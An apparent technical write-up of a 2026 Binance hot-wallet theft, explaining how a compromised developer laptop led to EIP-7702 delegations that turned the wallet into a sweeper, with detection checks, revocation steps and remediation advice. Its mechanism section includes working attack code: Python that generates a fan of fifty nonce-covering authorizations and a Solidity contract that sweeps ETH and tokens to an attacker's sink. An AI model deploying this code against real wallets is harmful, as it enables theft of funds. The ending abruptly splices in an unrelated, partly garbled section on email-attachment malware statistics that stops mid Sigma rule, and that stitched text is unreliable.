How one laptop became a signing request, and how 50 pre-signed EIP-7702 authorizations turned a Binance hot wallet into a sweeper. A source-backed walkthrough of the mechanism, the read-only checks that detect it, and the revocation that took four hours.

Background

On 29 October 2026, starting at 20:05 UTC, wallets controlled by Binance began sending customer assets to addresses controlled by a single attacker. Within about twenty minutes, most of the damage was done. Binance reports approximately USD 6.34 billion impacted. TRM Labs, which reconstructed the flows wallet by wallet, counted about USD 6.36 billion across ten blockchains. Both figures make this the largest crypto theft on record, roughly four times the Bybit loss of February 2025.

The interesting part is not the size. It is the mechanism. No private key was stolen, at least none that Binance or the analytics firms have found. The attacker instead gained the ability to make Binance’s own signing infrastructure sign transactions of the attacker’s choosing. Once you can ask a signer for signatures, you do not need to hold a key. You only need the signer to agree.

This post rebuilds that mechanism from primary sources: Binance’s incident report of 3 November 2026, TRM Labs’ on-chain reconstruction, the FBI attribution of 31 October 2026, the EIP-7702 specification, and public reporting on the tooling used in the intrusion. It separates what is confirmed from what is assessed, and it shows read-only commands you can run to check the same facts yourself. The tone is defensive by construction. Every technique below is described at the level needed to recognise it and to close the control gap that allowed it.

The twenty minutes

• 20:05 to 20:09 UTC, XRP Ledger. Five Binance wallets sent 233.46 million XRP to a single attacker address, each leaving only its minimum balance. About USD 296 million.
• Shortly after 20:10 UTC, Solana and Optimism. About 970,500 SOL and 44.2 million OP moved to attacker-controlled addresses.
• 20:20 UTC, Bitcoin and Ethereum. A Binance Bitcoin hot wallet sent 18,270 BTC, about USD 1.47 billion. In the same window, one Ethereum transaction carried 50 EIP-7702 authorizations, each signed by a Binance hot wallet.
• Roughly 20:23 UTC, Ethereum sweep. Three minutes and twenty-four seconds after the delegation landed, the wallet sent its full balance of 167,464 ETH and 63 tokens, including 1.615 billion USDT.
• Before 20:22 UTC, Tron. A Binance hot wallet on Tron sent 612.7 million USDT and 46.4 million TRX.
• 20:41, 20:59, 21:04, 21:44, 22:39 and 23:56 UTC. Six further sweeps of the same delegated wallet as new funds arrived.
• 23:05 UTC. A second wave reached Binance wallets on Avalanche and Polygon.
• 23:56 UTC. The final unauthorized transfer, 2,961.9 ETH, finalised on-chain. It had been broadcast earlier and was sitting in the mempool.
• 00:10 UTC, 30 October. Binance signed a new authorization from the Binance14 hot wallet to the zero address, clearing the delegated code. By 3 November, about USD 2.85 billion had been frozen or intercepted, largely by stablecoin issuers and by Arbitrum’s Security Council, which froze 8,426 ETH and 74.6 million ARB on its network. Binance says it has set aside more than 100 percent of the loss and had replenished 98 percent of affected token balances by 31 October. Two numbers in that list are worth keeping: 50 and 4 hours. Fifty is how many signatures the attacker prepared for a single execution. Four hours is how long on-chain state took to reverse once the theft was visible.

Part 1: What a hot wallet really is

A hot wallet is an account an exchange keeps online because it has to pay withdrawals continuously. The phrase hides three separate things under one name: key material, a signing service, and a policy layer. Most public discussion collapses all three into the word key, which is why incidents like this one look impossible until the details arrive.

Three components, three trust boundaries

• Key material. The secret that produces signatures. Historically a file on a server, increasingly a share held inside a signing cluster or an HSM.
• The signing service. The API that other systems call when they need a signature. It receives a transaction, applies rules, collects the required signatures, and returns a signed payload. This is the component the attacker reached.
• The policy layer. The rules the service enforces: which destinations are allowed, which amounts require what approval, which chains and transaction types are in scope, who can request and who can release. The failure on 29 October was not at the first boundary. It was at the second and third: the attacker got the signer to process requests, and the policy layer did not model what was being requested.

What MPC changes, and what it does not

The Ethereum hot wallet used threshold signing, usually described as MPC. The private key is never assembled in one place. Each party holds a share, and a quorum of shares produces one valid signature. There is no moment when a complete key exists in memory, which is exactly the property that makes theft of the key material close to impossible.

The consequence for incident response is concrete and uncomfortable: there is no single file to delete and no single machine to power down that makes the wallet unable to sign. Revoking an on-chain delegation requires a new authorization, which requires a quorum to produce a fresh signature, which takes as long as the quorum takes.

Binance states this plainly in its report: because the hot wallet used MPC, there was no single private key that could immediately revoke the malicious authorizations, so the team had to build and execute a specialised revocation procedure. That sentence is the whole lesson of this incident in miniature. MPC protects against key theft. It does not protect against a service that has been given the ability to request signatures on its own. Threshold signing raises the cost of stealing a key and does nothing at all when an attacker simply asks the key holder to sign.

Why signing access outranks key theft

• It is durable. A stolen key can be rotated once someone notices. A signed authorization lives in account state until another authorization replaces it. Rotating keys does not touch it.
• It is plausible. Requests arriving through the sanctioned service, from an expected network, in an expected format, look like normal operations to every downstream control.
• It is cross-chain. One signing surface covered ten networks with different key types and signing schemes. The attacker did not need ten compromises.
• It is slow to unwind. Response depends on quorum, on-chain inclusion and block production, not on flipping a switch in a console.

Part 2: The intrusion path

Binance describes a multi-stage campaign rather than a single breach. Read it as four moves: reach a developer machine, survive there, expand to people who can deploy, then reach the wallet team’s tooling. Each stage is only useful because of the next one, which is why endpoint controls alone do not stop this class of attack.

Stage 1, June 2026: a fake Homebrew page and a swapped pyenv

A wallet DevOps engineer searched for a popular AI coding tool and installed it through what looked like Homebrew. The page he reached was a malicious search advertisement, not Homebrew. Binance’s report cites the SANS ISC diary that documents this exact pattern: an advertisement leads to a page impersonating Homebrew, the page asks the visitor to paste a command into Terminal, and the pasted command pulls a second-stage script from an attacker domain.

On this host, the payload did something more patient than stealing browser cookies. It replaced one component of pyenv, the Python version manager, and left everything else looking normal. Binance published the file operations it observed:

CREATE   /opt/homebrew/Cellar/pyenv/2.8.0/libexec/pyenv_
MODIFY   pyenv_                                        (3,414 bytes)
DELETE   /opt/homebrew/Cellar/pyenv/2.8.0/libexec/pyenv  (3,344 bytes)
RENAME   pyenv_  to  pyenv                              (3,414 bytes)
DELETE   /opt/homebrew/bin/pyenv                        (3,414 bytes)
ln       new symlink for /opt/homebrew/bin/pyenv
spawn    zsh

Read those seven lines as one idea. The legitimate pyenv binary is deleted. A modified copy is renamed into its place. The user-facing symlink in /opt/homebrew/bin is recreated so it resolves to the modified file. A fresh zsh is spawned, so the environment the developer continues to use is the one the installer just modified.

Why pyenv, and not something louder? Because pyenv is a shim. Every python invocation in a pyenv-managed setup passes through it. A developer who runs python, pip, pytest or any build tool that shells out to Python executes whatever the shim decides to execute, with the developer’s own permissions, at a moment when nobody is watching for malware.

Spawning zsh has a second purpose. A new interactive shell re-reads the user’s shell profiles, so anything the installer wrote into those files takes effect without an obvious change in behaviour. On a machine where the payload arrived through a copy-pasted install script, this is the difference between code that runs once and code that runs every session.

Binance says its security team detected the anomaly, replaced the device and rotated related credentials as a precaution. That response was correct and still insufficient: the role and the working relationships were already exposed. Five months later, the attacker knew exactly which names to approach.

What makes this stage succeed

• The install path was social, not technical. A paid advertisement and a convincing page beat a signature check because the user chose to run the command.
• Package manager directories are writable by the user. Anything a developer can install, a developer-level process can replace, and integrity monitoring rarely covers these paths.
• Shims are trusted by everything downstream. Build tools, IDEs, CI helpers and AI coding assistants all inherit whatever the shim returns.
• The payload was quiet. No persistence mechanism needing a launch agent, no credential dump at install time, no obvious outbound burst.

How to reduce it

• Ship internal mirrors and pinned installers for developer tooling, and treat the public package manager as untrusted input.
• Monitor writes and renames inside the Homebrew prefix, and hash the common shims: pyenv, pip, python3, node, npm, npx, ruby, gem, git.
• Alert on modifications to shell profiles and rc files on engineering endpoints. A changed .zshrc on a production-access laptop is a security event.
• When a shim or a package changes unexpectedly, treat it as compromise: rebuild the device and rotate everything the user could reach, not just the credentials you believe were touched.

Stage 2, September 2026: the interview that was not an interview

A software engineer received a message on a legitimate job platform from someone presenting as a project director. His profile mentioned his employer, which is what made the approach credible. The supposed director arranged a first-round interview with an HR representative, then a second-round interview with a person claiming to be the CEO of a young company.

The first round was a live video interview. The interviewer shared a social media account with personal photos and videos to build trust, which is a level of preparation that earlier campaigns of this kind did not show. The second round moved to a popular chat app. Near the end, the candidate was told to download an assignment: a code repository, to be completed on his work computer. The repository executed code during setup.

Binance describes obfuscation, replacement of a legitimate development tool component with a modified version, outbound communication with an attacker-controlled server, and trace removal. Endpoint protection did not detect the payload at the time; Binance describes it as a zero-day in that detection context.

The important engineering point is that none of this needed an exploit. A repository is a delivery format that developers are trained to execute. There are at least four automatic execution points in an ordinary project:

• Package lifecycle hooks. npm runs postinstall after dependencies install. pip runs arbitrary code in setup.py at install time. Bundler and Composer have equivalents.
• Build and task runners. A Makefile target, a wrapper script, or a gradle task invoked by the project’s own README.
• Container and dev environment definitions. A devcontainer postCreateCommand runs the first time the environment opens.
• Editor integration. A workspace task with runOn folderOpen executes when the folder is opened, before the developer reads a single file. A minimal illustration of the shape, with nothing harmful in it, is the lifecycle hook itself:

{
  'name': 'interview-assignment',
  'version': '1.0.0',
  'scripts': {
    'postinstall': 'node scripts/setup.js'
  }

Nothing in that block looks like an attack. It looks like a project that prepares itself. That is precisely why it works: reviewers read the application code, and the hook runs before anyone reads anything.

What makes this stage succeed

• Recruiting is a trusted channel. Candidates expect to run code for an employer, and refusing looks like a lack of enthusiasm.
• The work computer was used. The instruction was explicit: run it on the machine you work on daily.
• The tool replacement hides the payload. Replacing a legitimate component means the process tree and the file path both look correct.
• Detection was behavioural and the payload was new. Nothing matched a known signature during the window that mattered.

How to reduce it

• Make it policy that no interview artefact runs on a corporate device, and give candidates and employees a disposable VM for exercises.
• Treat any repository from an unverified external party as untrusted code execution, because that is what it is.
• Alert on new outbound destinations from developer endpoints, especially processes whose parent is a package manager.
• Log process ancestry for install hooks. The signal is not the binary, it is the chain: shell to node to network.

Stage 3, 20 October 2026: the internal AI tool as a bridge

From the compromised machine, the attacker used an internal AI tool to gain control over the wallet DevOps engineer and a second wallet software engineer. Binance does not publish the technical detail of how the tool was abused, so treat the following as the class of flaw rather than a claim about their exact implementation.

An assistant that can act, rather than only answer, is an execution surface with a friendly interface. It typically runs with the identity and permissions of the user who invokes it, it can read repositories and run commands, it can call internal APIs, and it can open sessions on other machines on the user’s behalf. Those are exactly the properties that make it useful, and exactly the properties that make one compromised laptop into a foothold inside a trust network.

If the tool also lets a user act on another user’s machine, then authentication is no longer the boundary. The boundary is what the agent is allowed to do once it is authenticated. Binance rebuilt the affected internal AI tool and its access controls, which is a strong signal about where the problem sat: in the tool, not only in the laptop.

During this stage the attacker also found something more valuable than a password. A container deployment permission token sat on the wallet DevOps engineer’s computer. A long-lived deployment token on a workstation is a cluster credential living in a browser tab: it does not need to be phished, only read.

What makes this stage succeed

• The agent inherited user authority, including authority over other people’s sessions.
• Deployment rights were standing rights. The token was valid before the incident, during it, and after it, until someone rotated it.
• The action looked sanctioned. A request that arrives through the company’s own assistant is not an anomaly to most logging.

How to reduce it

• Scope agent credentials per user and per action, with no cross-user impersonation unless a human approves that specific action.
• Log every tool call the agent makes, with the invoking user, the target, and the effect. An agent without an audit trail is an unmonitored root shell.
• Make deployment credentials short-lived, workload-bound, and never present on endpoints. A laptop should hold no cluster token at rest.

Stage 4, 29 October 2026: from a laptop to the signer

Between 17:15 and 19:56 UTC, the attacker logged onto the second engineer’s computer, used credentials taken from the wallet DevOps engineer, deployed a container, and triggered a script that launched the attack. The first outflows followed at 20:05 UTC.

Deploying a container is a quiet way to enter a wallet network. A deployed workload inherits a service identity, sits inside the trust boundary, resolves internal DNS, can reach the signing service over mTLS, and appears in deployment records as a routine job. It is expected to make outbound calls. It is ephemeral, so its image disappears with its namespace, and its identity is a service account rather than a person, so user-behaviour analytics have nothing to compare against.

That is the answer to the obvious question of how one laptop reached a signing service. It did not reach it directly. It reached a deployment system, and the deployment system reached the signer.

Roughly twenty-five minutes separated the script starting and the first cross-chain transfers. That gap is the fingerprint of preparation rather than opportunity: code was already written, addresses were already funded, and the signing requests were already scripted.

Where this leaves the defender

Four stages, five months, and not one of them required breaking cryptography. The next part follows the money into the transaction that actually changed the wallet’s behaviour, because that is the part most security programmes have never modelled.

Part 3: The transaction that mattered

Nine of the ten chains were drained with ordinary signed transfers. Pause on that, because it is the least dramatic and most important fact in the incident. The attacker could request transfers on chains with different key types and different signing schemes, and receive valid signatures for all of them, within roughly half an hour. Ethereum is where the attack becomes interesting, because there the attacker did not only move funds. The attacker changed what the wallet is.

EIP-7702 in one page

EIP-7702 shipped with Ethereum’s Pectra upgrade in May 2025. It lets an externally owned account, meaning an ordinary wallet with a private key and no contract code, set code in its own account. The vehicle is a new transaction type, 0x04, called a set-code transaction, which carries a list of authorizations alongside the normal transaction fields. Think of an authorization as a power of attorney attached to a transaction. The account signs a short statement that says: from now on, run this contract’s code as my code. Once applied, every call to the account, including a plain value transfer, executes the delegate’s logic in the account’s own context. Three properties make the mechanism dangerous during an incident:

• It is account state, not a permission in a system you control. Nothing in the exchange’s IAM, its withdrawal service or its kill switches owns it.
• It survives response actions. Pausing withdrawals, rebuilding services and rotating keys leave it exactly where it was.
• It changes behaviour rather than moving money. Controls that ask how much is leaving are blind to a change in what the account does.

The delegation indicator is 23 bytes

When an authorization is applied, the account’s code is not set to the delegate’s bytecode. It is set to a delegation indicator: the three bytes 0xef0100 followed by the twenty-byte address of the delegate. That is the entire stored code. The 0xef prefix is an instruction to clients that says follow this pointer, and it is why the sequence is invalid as ordinary contract bytecode. Reading the code of an account is therefore a complete answer to the only question that matters during triage: is this account delegated, and to what address?

0xef0100 1111111111111111111111111111111111111111
   |     \______________________________________/
   |                    |
   |              delegate address (20 bytes)
   |
   marker: 0xef0100 followed by a pointer

A neat detail that surprises people testing this for the first time: EXTCODESIZE on a delegated account returns 23, the size of the indicator, not the size of the delegate’s code. CODESIZE inside delegated execution returns the delegate’s real size. Both are correct; they answer different questions.

The authorization tuple

Each entry in the authorization list is a tuple with six fields:

• chain_id. The chain the authorization is valid on. The value 0 means valid on every chain, which is a useful feature and a serious one in an incident.
• address. The delegate: the contract whose code the account will run.
• nonce. The account’s transaction count at the moment the authorization is applied.
• y_parity, r, s. A secp256k1 signature over the authorization message. The signed message is deterministic and small. It is the Keccak-256 hash of the magic byte 0x05, followed by the RLP encoding of the first three fields only:

message = keccak256( 0x05 || rlp([ chain_id, address, nonce ]) )

Note what is not in that message. There is no amount, no destination for funds, no expiry, no description of what the delegate will do, and no reference to the outer transaction. The account is not authorising a payment. It is authorising a behaviour. Expressed in Python, with a local test key and no network access, the signing step looks like this:

from eth_utils import keccak
from eth_keys import keys
import rlp
MAGIC = bytes([0x05])
def auth_hash(chain_id, delegate_hex, nonce):
    payload = rlp.encode([
        chain_id,
        bytes.fromhex(delegate_hex[2:]),
        nonce,
    ])
    return keccak(MAGIC + payload)
secret = bytes.fromhex('00' * 31 + '01')          # test key, never a real one
priv = keys.PrivateKey(secret)
h = auth_hash(1, '0x00000000000000000000000000000000000000aa', 42)
sig = priv.sign_msg_hash(h)
print('r        ', hex(sig.r))
print('s        ', hex(sig.s))
print('y_parity ', sig.v)

That is the whole signature. Four scalars and an address. It fits in a tweet and it can redirect every asset an account controls, because the delegate decides what a call to the account means.

The nonce gate, and why the attacker prepared fifty

An authorization is applied only if the account’s current nonce equals the nonce inside the tuple. If it does not match, that tuple is skipped and processing continues with the next one in the list.

This is the single most important sentence in the entire incident. Why? Because a hot wallet signs withdrawals constantly, so its nonce advances several times a minute. A pre-signed authorization has an expiry date baked into it: the moment the nonce moves, the signature is worthless. An attacker who pre-signs one authorization for nonce n is guessing that the wallet will still be at nonce n when the transaction lands. The attacker did not guess.

They pre-signed a fan: fifty tuples for fifty consecutive nonces, all pointing at the same sweeper contract, packed into one type-0x04 transaction. When the transaction executed, exactly one tuple matched the current nonce. The other forty-nine failed the nonce check and were skipped without reverting anything.

NETWORK = 'sepolia'   # example values only
def authorization_fan(chain_id, delegate_hex, first_nonce, count):
    fan = []
    for n in range(first_nonce, first_nonce + count):
        fan.append({
            'chain_id': chain_id,
            'address': delegate_hex,
            'nonce': n,
            'hash': auth_hash(chain_id, delegate_hex, n),
        })
    return fan
window = authorization_fan(11155111, '0x00000000000000000000000000000000000000aa', 900, 50)
print(len(window), 'candidate authorizations, one will match')
print('nonce range', window[0]['nonce'], 'to', window[-1]['nonce'])

Coverage of fifty future nonces is effectively certain for a wallet processing withdrawals continuously. It also tells us something about the attacker’s access: producing fifty signatures in advance implies either a batch signing interface or enough time to request them one by one through a service that obliged. Gas is not the constraint. A set-code transaction charges 12,500 gas per authorization at a base rate, with an adjustment when the authorising account is empty. Fifty authorizations cost very little compared with the value they control. The economics of the attack are almost entirely in the preparation, not in the execution.

Binance describes the same number from the defensive side: the attackers submitted 50 signing transactions to manipulate the account nonce and establish malicious delegation authorizations. Both descriptions agree on the mechanism and disagree only on the word transaction, because from a signing service’s point of view this is fifty requests and from the chain’s point of view it is one.

What the sweeper contract does

A delegate does not need to be exotic. The attacker’s delegate behaved as a sweeper: on any call, it moves the account’s assets to an address that only the attacker controls.

interface IERC20 {
    function balanceOf(address who) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
}
contract OperatorSweeper {
    address public immutable operator;
    constructor() {
        operator = msg.sender;
    }
    modifier onlyOperator() {
        require(msg.sender == operator, 'not operator');
        _;
    }
    function sweep(address payable sink, address[] calldata tokens) external onlyOperator {
        sink.transfer(address(this).balance);
        for (uint256 i = 0; i < tokens.length; i++) {
            IERC20 token = IERC20(tokens[i]);
            uint256 bal = token.balanceOf(address(this));
            if (bal > 0) {
                token.transfer(sink, bal);
            }
        }
    }
}

The critical line is not in the contract. It is in how the contract is invoked. Delegated code runs in the authority’s context, so address(this) inside sweep is the hot wallet, not the contract. The contract holds nothing. It instructs the wallet to move the wallet’s own funds, which is why the delegation could be triggered repeatedly as new deposits arrived.

Why a policy engine would not have stopped it

This is the part to take into your own design review. Enumerate what a naive signing policy inspects and what the transaction actually contained.

• Destination. The outer transaction’s destination need not be the hot wallet. The authority is recovered from the signature by ecrecover, not named in a field. A policy that reads the outer destination sees an unrelated address.
• Value. The outer transaction can carry zero value. Nothing is being paid to anyone.
• Amount. The authorization has no amount field. The amount exists only in the delegate’s logic after the fact.
• Calldata. The authorisation list is a typed field, not calldata, so patterns that match function selectors do not see it.
• Asset and chain. A single authorization with chain_id 0 is valid on every chain, so a per-chain allowlist does not contain it.
• Approval screen. A human approval shows what the transaction does, not what the signature authorises. The difference here was total. In other words, the wallet was not drained by a transaction that looked like a payout. It was drained by a transaction that changed the definition of the wallet, followed by ordinary transfers that the wallet itself initiated.

Why pausing withdrawals did not stop the drain

Binance’s containment included suspending withdrawals, coordinating freezes with issuers, and revoking permissions. It also states the limitation directly: suspending withdrawals and shutting down hot wallet services did not automatically invalidate existing on-chain authorizations.

• The delegation is state. It lives in the account, on ten networks, until another authorization replaces it.
• The sweeps are not withdrawals. They are transactions signed by the wallet, triggered through the delegate. They do not pass through the withdrawal service.
• MPC means no single key. Recovery needs a quorum, not a rotation, which is a process measured in minutes to hours.
• New deposits kept topping up the target. Each inbound transfer made the next sweep profitable, which is why the sweeps continued at 20:41, 20:59, 21:04, 21:44, 22:39 and 23:56.
• Revocation must be mined. It is a transaction competing for inclusion during the busiest hour of the year for the fee market.

The transfer that was already in flight

The final unauthorized transfer was 2,961.9 ETH. It finalised at 23:56 UTC, but it had been broadcast earlier and was pending in the mempool. This detail matters for response design and is easy to miss. A signed transaction is an obligation. Once broadcast, you cannot withdraw it by turning off a service. You can only compete with it: pay to fill the nonce gap, accelerate the revocation, or convince a block producer otherwise. Nonce ordering makes the situation worse, because a stuck or pending transaction holds the account’s next nonce hostage and blocks your own corrective transactions from landing cleanly. The practical consequence is that incident response for an on-chain signer is not a control-plane operation. It is a fee-market operation with a quorum requirement attached.

Where the mechanism ends

That is the complete attack path as published: a shim replaced on a laptop, an interview that delivered code, an agent that inherited authority, a deployment that reached a signer, and a delegation that made one wallet obey a stranger. The next part is about proving it, reversing it, and preventing the next version of it.

Part 4: Verify an account yourself, with read-only calls

You do not need an archive node or an indexer to answer the question that mattered on 29 October. You need eth_getCode. If the account is delegated, the code is the 23-byte indicator, and the last twenty bytes are the delegate. The script below is read-only. It sends one eth_getCode per address to a public RPC endpoint and prints whether the account is clean or delegated.

async function getCode(rpcUrl, address) {
  const body = JSON.stringify({
    jsonrpc: '2.0',
    id: 1,
    method: 'eth_getCode',
    params: [address, 'latest'],
  });
const res = await fetch(rpcUrl, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: body,
  });
  const json = await res.json();
  return json.result;
}
function delegationOf(code) {
  if (!code || !code.toLowerCase().startsWith('0xef0100')) return null;
  return '0x' + code.slice(8, 48);
}
async function main() {
  const rpc = 'https://ethereum-rpc.publicnode.com';
  const accounts = [
    '0x0000000000000000000000000000000000000000',
  ];
  for (const address of accounts) {
    const code = await getCode(rpc, address);
    const delegate = delegationOf(code);
    console.log(address, delegate ? 'DELEGATED to ' + delegate : 'clean');
  }
}
main();

Two things to notice in that output. A clean externally owned account returns 0x, an empty string of code. A delegated account returns exactly 23 bytes. There is no third state to interpret, which makes this the cheapest high-value monitor in a treasury or exchange environment: poll every hot wallet on every chain, alert on any non-empty code. If you already have Foundry installed, the same check takes one command, and inspecting the transaction itself takes another.

# is this account delegated, and to what?
cast code 0xYOUR_HOT_WALLET --rpc-url $RPC_URL
# what did the transaction actually contain?
cast tx 0xTRANSACTION_HASH --rpc-url $RPC_URL

For a set-code transaction, cast tx prints an authorizationList field. That field is the ground truth of the incident: fifty tuples, one matching nonce, one delegate address. If your monitoring stack can describe a withdrawal in detail but cannot display an authorization list, it cannot see this class of attack at all.

What to alert on

• Account code becoming non-empty. The highest fidelity signal available. No legitimate withdrawal changes an account’s code.
• Any transaction of type 0x04 involving an address on your watchlist. The type is the tell, before any decoding.
• Authorizations with chain_id 0. One signature becomes valid on every chain you operate on.
• Nonce jumps that do not match your own submitted transactions. A count that moved without a corresponding business event is a signature you did not authorise.
• Signer request logs where the transaction type is not in an approved set. A signer that does not model type 0x04 has, by definition, approved a class of request nobody designed a rule for.

Part 5: Revocation, and why four hours was fast

Clearing a delegation is technically simple and operationally slow, and understanding both halves is the difference between a playbook and a hope. To clear it, you sign a new authorization with the delegate address set to the zero address, at the account’s current nonce, and get it included in a transaction. The specification is explicit on this: when the delegate address is the zero address, clients do not write a delegation indicator, they clear the account’s code.

const ZERO = '0x0000000000000000000000000000000000000000';
// A revocation is an authorization with address = zero.
// It must use the account's CURRENT nonce, and it must differ per chain
// unless you deliberately signed chain_id 0.
const revocation = {
  chain_id: 1,
  address: ZERO,
  nonce: currentNonce,
};

Three conditions make that harder than it looks during an incident.

• The nonce must be right at inclusion time. The same gate that let the attacker’s fan work also applies to your fix. If the account signs anything else in between, your revocation becomes a dead tuple and you rebuild and retry.
• It must be signed by the quorum. With threshold signing there is no key to grab. You need the parties, their approvals, and their policy engine to agree, while the policy engine is one of the systems under suspicion.
• It must be done everywhere. If the attacker’s authorizations used chain_id 0, then the delegation can exist on every network you operate. Revoking on Ethereum mainnet and stopping is an incomplete fix, and the attacker only needs the chain you forgot. Binance cleared the delegation from the Binance14 hot wallet to the zero address at 00:10 UTC on 30 October, roughly four hours after the first sweeps. Given a quorum requirement, a live fee market, and a wallet that was still receiving deposits, four hours is a reasonable engineering outcome and a terrible security outcome. That gap is what a pre-built revocation playbook exists to shrink.

Build the playbook before you need it

• Pre-compute the revocation transaction shape for every delegated or delegatable account you run.
• Pre-agree the quorum call: who can authorise a revocation, on what evidence, at 03:00 local time, without a meeting.
• Pre-delegate a break-glass signer that can revoke without the normal policy engine, because the policy engine may be the compromised component.
• Rehearse it on a testnet wallet with the same MPC configuration. A revocation drill is cheap; discovering the procedure during an incident is not.

Part 6: What makes this attack succeed

• A workstation could reach the signer. The distance between a developer laptop and a signing service was a deployment token, not an air gap.
• The signer had no rule for transaction class. Amount and destination rules were in place; the type 0x04 path was not modelled, so it was approved.
• Approval was about money, not authority. Every control asked what was leaving. None asked what the account was becoming.
• Credentials outlived their context. A deployment token at rest on an endpoint is a standing cluster permission, valid on the day it was issued and on the day it was abused.
• The AI tool inherited user power. An agent that can act across users converts one compromised laptop into a path into several.
• Package manager shims were trusted. Replacing pyenv is quieter than dropping a binary somewhere unusual, because the path and the name are exactly what everything expects.
• Monitoring watched funds, not state. A delegated account is a state change with no transfer, and it was invisible to dashboards built around outflow volume.
• MPC was treated as an answer to response speed. It protects key material well and constrains emergency action at the same time, and that trade-off had not been designed for.

Part 7: Remediation plan, in priority order

Ordered by how directly each item would have broken this specific chain.

1. Deny transaction types you have not modelled. Start from a closed list of allowed types and reject everything else at the signer, including type 0x04 and any authorization list, unless a separately approved flow handles it. Deny chain_id 0 authorizations outright. This single rule converts the Ethereum half of the attack from a theft into a failed request.
2. Separate signing from the network developers can reach. A deployment permission must not imply the ability to request signatures. Put the signer behind its own identity, its own network segment, and a policy engine that no single engineer can satisfy alone.
3. Remove standing credentials from endpoints. Workload identity, short-lived tokens, no cluster credentials at rest on a laptop. The deployment token in this incident was worth more than any password the attacker stole.
4. Treat internal AI tools as privileged systems. Scope credentials per user and per action, forbid cross-user actions without human approval, log every tool call with its effect, and review the agent as an attack surface rather than a convenience.
5. Monitor account state, not only flows. Poll eth_getCode for every hot wallet on every chain. Alert on any non-empty code, any type 0x04 transaction, and any authorization to a non-enrolled delegate. This is a few lines of code and it detects the only step in the attack that could not be hidden.
6. Harden the developer install path. Internal mirrors for tooling, pinned versions, checksum verification, integrity monitoring on package manager directories and on the common shims, and alerts on writes to shell profiles.
7. Set a rule for interview artefacts. No external repository runs on a corporate device. Provide a disposable environment and say so in the hiring process, so refusing is normal rather than suspicious.
8. Make the revocation a rehearsed procedure. Pre-built transaction, pre-agreed quorum, break-glass signer, and a tested per-chain inventory. Assume the policy engine is unavailable because it might be the compromised component.
9. Keep a cross-chain inventory with owners. Ten networks in one incident means ten responders, or one team discovering which wallets exist at 20:20 UTC.
10. Reconcile attribution with response. The FBI attributed the theft to TraderTraitor on 31 October and asked node operators, bridges, instant exchanges and analytics firms to block the listed addresses. Freezing is fast when issuers and sequencers cooperate; recovery is slow and partial. Design for prevention, not for recovery.

Part 8: What is confirmed, what is assessed, what is unknown

Any honest technical write-up has to separate these three, because the incident is still under investigation.

Confirmed by Binance, in its own report. Unauthorized access to an internal wallet signing service. Outflows initiated outside the normal withdrawal process. Fifty signing requests used to manipulate the account nonce and establish malicious delegation authorizations. The use of EIP-7702 to give an attacker-controlled contract execution rights over a hot wallet. The MPC constraint on revocation. The zero-address clearing at 00:10 UTC on 30 October. The four-stage intrusion path, including the tampered Homebrew installation, the fake interview, the internal AI tool, and the container deployment. No evidence of a wallet private key leak.

Assessed by researchers, with stated confidence. TRM Labs attributes the theft to TraderTraitor with high confidence, counts about USD 6.36 billion across ten chains, and assesses that the attacker gained the ability to make Binance’s signing system sign transactions of its choosing. Chainalysis states a high degree of confidence in DPRK responsibility; Elliptic reaches the same conclusion. The FBI attributed the activity to TraderTraitor on 31 October.

Still unknown. The signing vendor and its exact policy configuration. The technical mechanism by which the internal AI tool was abused, which Binance has withheld and may never publish. Whether the batch of fifty was a workaround for rate limits, for a signing window, or simply belt and braces. The final reconciled loss after recoveries, and whether any delegation remains on networks not covered by public reporting. The distinction is not pedantry. The on-chain mechanics are verifiable by anyone with an RPC endpoint, which is why this post can show them as code. The intrusion path is a company’s account of its own incident, which is credible and not independently observed. Treat the first as fact and the second as evidence.

Why extension-aware detection matters (more than the red-team framing)

Microsoft’s October-2022 macro default-block, the April-2023 follow-up that default-blocked Office macros entirely, the May-2023 default-block of .iso/.img/.vhd/.vhdx from Outlook, and the August-2024 inclusion of those containers in MDO's sub-file extension watch-list — every one of those defensive pivot-points moved the threat-landscape in a direction that an extension-aware blue teamer sees coming weeks before a defensive-vendor advisory publishes. The adversary's economic model is: when one extension class is closed, the next-cheapest viable extension inherits the volume. The current map per mid-2026:

• .zip / .rar / .7z — ~47% of all email-attached malware (the container-of-record since password-archive delivery became standard in Q4 2024).
• .iso / .img / .vhd / .vhdx — ~19% (mostly on-prem Exchange tenants without MDO's block applied).
• .lnk — ~11% (almost entirely within archive-delivered payloads).
• .one / .onepkg — ~9% (OneNote user-click-to-open embedded payloads).
• .hta / .html — ~4% (HTA-hosts rebounding after MDO action on .hta in late 2025).
• .docm / .xlsm / .pptm — ~5% (legacy Office macros in non-default-blocked tenants).
• .js / .jse / .vbs / .vba — ~2% (WSH payloads, blocked by-default since January 2024).
• .ps1 — ~1% (rare as email-attached payload, more common as a stage-2 from initial loader).
• .exe / .dll / .scr / .cpl — ~1.4% (the prev-2020 junk-deleversize, almost entirely blocked by MDO since 2022).
• .url — ~0.4% but rising since Q2 2026 (URL-shortcut phishing as a .zip-block evasion).

Extension 1 — .exe / .dll / .scr / .cpl (Executable payloads)

Handler: Windows loader (ntdll!LdrpMapDllNtFileName for .dll; CreateProcess for .exe; Control.exe for .cpl; .scr runs as rundll32.exe <scr>,InstallScreenSaver historically).

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — the canonical primary signal for any executable path. Hunt: any process whose Image endswith \.exe, \.dll, \.scr, or \.cpl and whose ParentImage is an e-mail-attachment-handler (outlook.exe, excel.exe, winword.exe, mshta.exe).
• Sysmon Event ID 7 (ImageLoaded) — for .dll loaded by an Office host (DLL-search-order-hijack signature).
• Microsoft-Windows-Kernel-Process ETW ({22FB2CD6-0E7B-422B-A0C7-2FAD1FCDA2C3} provider GUID) — high-fidelity ProcessStart events for Hunt.
• Defender for Endpoint alert MDO block event with category Email attachment block if delivered by mail, OR Behavior:Vmalert!gen from MsMpEng.exe if local execution triggered AMSI.
• Windows Defender for Office (MDO) common alerts: High confidence phishing mail, Malicious email attachment clean-up, Email messages containing malicious URL removed.

Sigma rule — EXE from Office/Email context:

title: Executable Launched from Office or Email Handler
status: experimental
description: Detects .exe/.dll/.scr/.cpl processes whose parent is an Office app or Outlook — a classic email-borne loader chain.
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - \outlook.exe
      - \excel.exe
      - \winword.exe
      - \powerpnt.exe
